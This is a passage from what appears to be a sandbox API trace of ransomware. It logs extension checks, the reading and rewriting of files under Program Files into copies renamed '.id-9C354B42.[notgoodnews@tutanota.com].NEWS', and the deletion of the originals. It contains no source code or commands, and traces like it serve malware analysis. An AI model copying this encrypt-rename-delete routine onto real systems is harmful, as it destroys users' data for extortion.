(lpString=".dbf") returned 4 [0225.715] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0225.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.716] lstrlenW (lpString=".1cd") returned 4 [0225.716] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0225.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.716] lstrlenW (lpString=".jpg") returned 4 [0225.716] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0225.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.717] lstrlenW (lpString=".doc") returned 4 [0225.717] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0225.717] lstrlenW (lpString=".docx") returned 5 [0225.717] lstrcmpiW (lpString1=".docx", lpString2="S.ITS") returned -1 [0225.717] lstrlenW (lpString=".pdf") returned 4 [0225.717] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0225.717] lstrlenW (lpString=".xls") returned 4 [0225.717] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0225.718] lstrlenW (lpString=".xlsx") returned 5 [0225.718] lstrcmpiW (lpString1=".xlsx", lpString2="S.ITS") returned -1 [0225.718] lstrlenW (lpString=".ppt") returned 4 [0225.718] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0225.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.718] lstrlenW (lpString=".zip") returned 4 [0225.718] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0225.718] lstrlenW (lpString=".rar") returned 4 [0225.718] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0225.718] lstrlenW (lpString=".bz2") returned 4 [0225.718] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0225.718] lstrlenW (lpString=".7z") returned 3 [0225.718] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0225.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.719] lstrlenW (lpString=".dbf") returned 4 [0225.719] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0225.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.719] lstrlenW (lpString=".1cd") returned 4 [0225.719] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0225.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0225.719] lstrlenW (lpString=".jpg") returned 4 [0225.719] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0225.720] lstrcmpiW (lpString1=".ITS", lpString2=".NEWS") returned -1 [0225.720] lstrlenW (lpString="MSB1ENFR.ITS") returned 12 [0225.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.721] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=943322) returned 1 [0225.721] CloseHandle (hObject=0x398) returned 1 [0225.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its")) returned 0x20 [0225.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.722] lstrlenW (lpString=".doc") returned 4 [0225.722] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0225.722] lstrlenW (lpString=".docx") returned 5 [0225.722] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0225.722] lstrlenW (lpString=".pdf") returned 4 [0225.722] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0225.722] lstrlenW (lpString=".xls") returned 4 [0225.722] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0225.722] lstrlenW (lpString=".xlsx") returned 5 [0225.722] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0225.722] lstrlenW (lpString=".ppt") returned 4 [0225.723] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0225.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.723] lstrlenW (lpString=".zip") returned 4 [0225.723] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0225.723] lstrlenW (lpString=".rar") returned 4 [0225.723] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0225.723] lstrlenW (lpString=".bz2") returned 4 [0225.723] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0225.723] lstrlenW (lpString=".7z") returned 3 [0225.723] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0225.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.723] lstrlenW (lpString=".dbf") returned 4 [0225.724] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0225.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.724] lstrlenW (lpString=".1cd") returned 4 [0225.724] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0225.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.724] lstrlenW (lpString=".jpg") returned 4 [0225.724] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0225.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.724] lstrlenW (lpString=".doc") returned 4 [0225.724] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0225.725] lstrlenW (lpString=".docx") returned 5 [0225.725] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0225.725] lstrlenW (lpString=".pdf") returned 4 [0225.725] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0225.725] lstrlenW (lpString=".xls") returned 4 [0225.725] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0225.997] lstrlenW (lpString=".xlsx") returned 5 [0225.997] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0225.997] lstrlenW (lpString=".ppt") returned 4 [0225.997] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0225.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.997] lstrlenW (lpString=".zip") returned 4 [0225.997] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0225.997] lstrlenW (lpString=".rar") returned 4 [0225.997] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0225.997] lstrlenW (lpString=".bz2") returned 4 [0225.997] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0225.997] lstrlenW (lpString=".7z") returned 3 [0225.998] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.998] lstrlenW (lpString=".dbf") returned 4 [0225.998] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.998] lstrlenW (lpString=".1cd") returned 4 [0225.998] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0225.998] lstrlenW (lpString=".jpg") returned 4 [0225.998] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0225.999] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0225.999] lstrlenW (lpString="VSTOInstaller.exe") returned 17 [0225.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0226.162] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=99672) returned 1 [0226.162] CloseHandle (hObject=0x388) returned 1 [0226.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0226.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0226.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.163] lstrlenW (lpString=".doc") returned 4 [0226.164] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0226.164] lstrlenW (lpString=".docx") returned 5 [0226.164] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0226.164] lstrlenW (lpString=".pdf") returned 4 [0226.164] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0226.164] lstrlenW (lpString=".xls") returned 4 [0226.164] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0226.164] lstrlenW (lpString=".xlsx") returned 5 [0226.164] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0226.164] lstrlenW (lpString=".ppt") returned 4 [0226.164] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0226.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.164] lstrlenW (lpString=".zip") returned 4 [0226.165] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0226.165] lstrlenW (lpString=".rar") returned 4 [0226.165] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0226.165] lstrlenW (lpString=".bz2") returned 4 [0226.165] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0226.165] lstrlenW (lpString=".7z") returned 3 [0226.165] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0226.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.165] lstrlenW (lpString=".dbf") returned 4 [0226.165] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0226.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.165] lstrlenW (lpString=".1cd") returned 4 [0226.165] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0226.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.166] lstrlenW (lpString=".jpg") returned 4 [0226.166] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0226.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.166] lstrlenW (lpString=".doc") returned 4 [0226.166] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0226.166] lstrlenW (lpString=".docx") returned 5 [0226.166] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0226.166] lstrlenW (lpString=".pdf") returned 4 [0226.166] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0226.166] lstrlenW (lpString=".xls") returned 4 [0226.166] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0226.167] lstrlenW (lpString=".xlsx") returned 5 [0226.167] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0226.167] lstrlenW (lpString=".ppt") returned 4 [0226.167] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0226.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.167] lstrlenW (lpString=".zip") returned 4 [0226.167] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0226.167] lstrlenW (lpString=".rar") returned 4 [0226.167] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0226.167] lstrlenW (lpString=".bz2") returned 4 [0226.167] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0226.167] lstrlenW (lpString=".7z") returned 3 [0226.168] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0226.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.168] lstrlenW (lpString=".dbf") returned 4 [0226.168] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0226.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.168] lstrlenW (lpString=".1cd") returned 4 [0226.168] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0226.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0226.168] lstrlenW (lpString=".jpg") returned 4 [0226.168] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0226.169] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0226.169] lstrlenW (lpString="msadcor.dll.mui") returned 15 [0226.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0226.388] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=5632) returned 1 [0226.388] CloseHandle (hObject=0x1c0) returned 1 [0226.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0226.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0226.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned 64 [0226.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned 64 [0226.389] lstrlenW (lpString=".doc") returned 4 [0226.389] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0226.389] lstrlenW (lpString=".docx") returned 5 [0226.390] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0226.390] lstrlenW (lpString=".pdf") returned 4 [0226.390] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0226.390] lstrlenW (lpString=".xls") returned 4 [0226.390] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0226.390] lstrlenW (lpString=".xlsx") returned 5 [0226.390] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0226.390] lstrlenW (lpString=".ppt") returned 4 [0226.390] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0226.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned 64 [0226.390] lstrlenW (lpString=".zip") returned 4 [0226.390] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0226.390] lstrlenW (lpString=".rar") returned 4 [0226.391] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0226.391] lstrlenW (lpString=".bz2") returned 4 [0226.391] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0226.391] lstrlenW (lpString=".7z") returned 3 [0226.391] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0226.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned 64 [0226.391] lstrlenW (lpString=".dbf") returned 4 [0226.391] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0226.535] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0229.155] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.155] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0229.307] GetLastError () returned 0x0 [0229.307] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x246a, lpOverlapped=0x0) returned 1 [0230.177] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0230.502] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.502] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.502] SetEndOfFile (hFile=0x35c) returned 1 [0230.520] CloseHandle (hObject=0x35c) returned 1 [0230.521] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.521] SetEndOfFile (hFile=0x1c0) returned 1 [0230.552] CloseHandle (hObject=0x1c0) returned 1 [0230.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0230.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.642] lstrlenW (lpString=".doc") returned 4 [0230.642] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.642] lstrlenW (lpString=".docx") returned 5 [0230.642] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.642] lstrlenW (lpString=".pdf") returned 4 [0230.643] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".xls") returned 4 [0230.643] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".xlsx") returned 5 [0230.643] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.643] lstrlenW (lpString=".ppt") returned 4 [0230.643] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.643] lstrlenW (lpString=".zip") returned 4 [0230.643] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".rar") returned 4 [0230.643] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.644] lstrlenW (lpString=".bz2") returned 4 [0230.644] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.644] lstrlenW (lpString=".7z") returned 3 [0230.644] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.644] lstrlenW (lpString=".dbf") returned 4 [0230.644] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.644] lstrlenW (lpString=".1cd") returned 4 [0230.644] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.644] lstrlenW (lpString=".jpg") returned 4 [0230.644] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.645] lstrlenW (lpString=".doc") returned 4 [0230.645] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.645] lstrlenW (lpString=".docx") returned 5 [0230.645] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.645] lstrlenW (lpString=".pdf") returned 4 [0230.645] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.645] lstrlenW (lpString=".xls") returned 4 [0230.646] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.646] lstrlenW (lpString=".xlsx") returned 5 [0230.646] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.646] lstrlenW (lpString=".ppt") returned 4 [0230.646] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.646] lstrlenW (lpString=".zip") returned 4 [0230.646] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.646] lstrlenW (lpString=".rar") returned 4 [0230.646] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.646] lstrlenW (lpString=".bz2") returned 4 [0230.646] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.647] lstrlenW (lpString=".7z") returned 3 [0230.647] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.647] lstrlenW (lpString=".dbf") returned 4 [0230.647] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.647] lstrlenW (lpString=".1cd") returned 4 [0230.647] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0230.647] lstrlenW (lpString=".jpg") returned 4 [0230.647] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.648] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0230.648] lstrlenW (lpString="FALL_01.MID") returned 11 [0230.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0230.675] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=4846) returned 1 [0230.676] CloseHandle (hObject=0x39c) returned 1 [0230.676] GetFileAttributesW 